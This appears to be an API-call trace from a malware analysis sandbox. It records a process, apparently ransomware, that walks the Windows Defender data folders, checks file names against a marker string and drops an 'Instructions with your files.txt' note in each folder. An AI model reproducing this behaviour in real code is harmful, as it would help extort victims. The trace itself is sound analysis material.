[0124.681] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0124.681] CloseHandle (hObject=0x114) returned 1
[0124.682] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0124.682] GetProcessHeap () returned 0x810000
[0124.682] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x889bf8 | out: hHeap=0x810000) returned 1
[0124.682] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1fb3099, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x1fff35a, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x1fff35a, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{D2B0B133-42ED-44D3-809A-46EBB62BA863}", cAlternateFileName="{D2B0B~1")) returned 1
[0124.682] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}") returned 103
[0124.682] GetProcessHeap () returned 0x810000
[0124.682] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x889bf8
[0124.682] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\*") returned 105
[0124.682] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1fb3099, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x1fff35a, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x1fff35a, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0124.682] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\.") returned 105
[0124.682] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1fb3099, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x1fff35a, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x1fff35a, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0124.682] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\..") returned 106
[0124.682] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1fd91f9, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x1fd91f9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x12c4d000, ftLastWriteTime.dwHighDateTime=0x1cb85c9, nFileSizeHigh=0x0, nFileSizeLow=0xb17190, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpasbase.vdm", cAlternateFileName="")) returned 1
[0124.682] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpasbase.vdm") returned 116
[0124.682] StrStrIW (lpFirst="mpasbase.vdm", lpSrch="SDfghjkl") returned 0x0
[0124.682] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1fff35a, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x1fff35a, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x6da22700, ftLastWriteTime.dwHighDateTime=0x1cb8783, nFileSizeHigh=0x0, nFileSizeLow=0x52d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpasdlta.vdm", cAlternateFileName="")) returned 1
[0124.682] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpasdlta.vdm") returned 116
[0124.682] StrStrIW (lpFirst="mpasdlta.vdm", lpSrch="SDfghjkl") returned 0x0
[0124.682] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1fb3099, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x1fb3099, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x93b6800, ftLastWriteTime.dwHighDateTime=0x1cb85c9, nFileSizeHigh=0x0, nFileSizeLow=0x7d1d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpengine.dll", cAlternateFileName="")) returned 1
[0124.682] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\mpengine.dll") returned 116
[0124.682] StrStrIW (lpFirst="mpengine.dll", lpSrch="SDfghjkl") returned 0x0
[0124.683] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1fb3099, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x1fb3099, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x93b6800, ftLastWriteTime.dwHighDateTime=0x1cb85c9, nFileSizeHigh=0x0, nFileSizeLow=0x7d1d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpengine.dll", cAlternateFileName="")) returned 0
[0124.683] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\Instructions with your files.txt") returned 136
[0124.683] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\windows defender\\definition updates\\{d2b0b133-42ed-44d3-809a-46ebb62ba863}\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0124.687] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0124.688] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0124.688] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0124.688] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0124.688] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0124.688] CloseHandle (hObject=0x114) returned 1
[0124.688] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0124.688] GetProcessHeap () returned 0x810000
[0124.688] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x889bf8 | out: hHeap=0x810000) returned 1
[0124.688] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1fb3099, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x1fff35a, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x1fff35a, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{D2B0B133-42ED-44D3-809A-46EBB62BA863}", cAlternateFileName="{D2B0B~1")) returned 0
[0124.688] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Instructions with your files.txt") returned 97
[0124.689] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\windows defender\\definition updates\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0124.693] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0124.694] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0124.694] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0124.694] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0124.694] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0124.694] CloseHandle (hObject=0x110) returned 1
[0124.694] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0124.694] GetProcessHeap () returned 0x810000
[0124.694] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x878be8 | out: hHeap=0x810000) returned 1
[0124.694] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalCopy", cAlternateFileName="LOCALC~1")) returned 1
[0124.695] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\LocalCopy") returned 55
[0124.695] GetProcessHeap () returned 0x810000
[0124.695] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x878be8
[0124.695] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\LocalCopy\\*") returned 57
[0124.695] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\LocalCopy\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0124.695] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\LocalCopy\\.") returned 57
[0124.695] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0124.695] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\LocalCopy\\..") returned 58
[0124.695] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0124.695] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\LocalCopy\\Instructions with your files.txt") returned 88
[0124.695] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\LocalCopy\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\windows defender\\localcopy\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0124.699] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0124.700] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0124.700] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0124.701] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0124.701] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0124.701] CloseHandle (hObject=0x110) returned 1
[0124.701] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0124.706] GetProcessHeap () returned 0x810000
[0124.706] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x878be8 | out: hHeap=0x810000) returned 1
[0124.706] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Quarantine", cAlternateFileName="QUARAN~1")) returned 1
[0124.706] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Quarantine") returned 56
[0124.706] GetProcessHeap () returned 0x810000
[0124.706] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x878be8
[0124.706] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Quarantine\\*") returned 58
[0124.706] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Quarantine\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0124.706] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Quarantine\\.") returned 58
[0124.706] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0124.707] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Quarantine\\..") returned 59
[0124.707] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0124.707] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Quarantine\\Instructions with your files.txt") returned 89
[0124.707] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Quarantine\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\windows defender\\quarantine\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0124.707] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0124.708] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0124.708] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0124.708] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0124.708] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0124.708] CloseHandle (hObject=0x110) returned 1
[0124.708] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0124.708] GetProcessHeap () returned 0x810000
[0124.708] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x878be8 | out: hHeap=0x810000) returned 1
[0124.708] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7690f9e4, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x7690f9e4, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scans", cAlternateFileName="")) returned 1
[0124.708] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans") returned 51
[0124.708] GetProcessHeap () returned 0x810000
[0124.708] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x878be8
[0124.708] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\*") returned 53
[0124.708] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7690f9e4, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x7690f9e4, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0124.727] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\.") returned 53
[0124.727] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7690f9e4, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x7690f9e4, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0124.727] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\..") returned 54
[0124.727] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7690f9e4, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x244fb42, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x244fb42, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1
[0124.727] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History") returned 59
[0124.727] GetProcessHeap () returned 0x810000
[0124.727] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x889bf8
[0124.727] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\*") returned 61
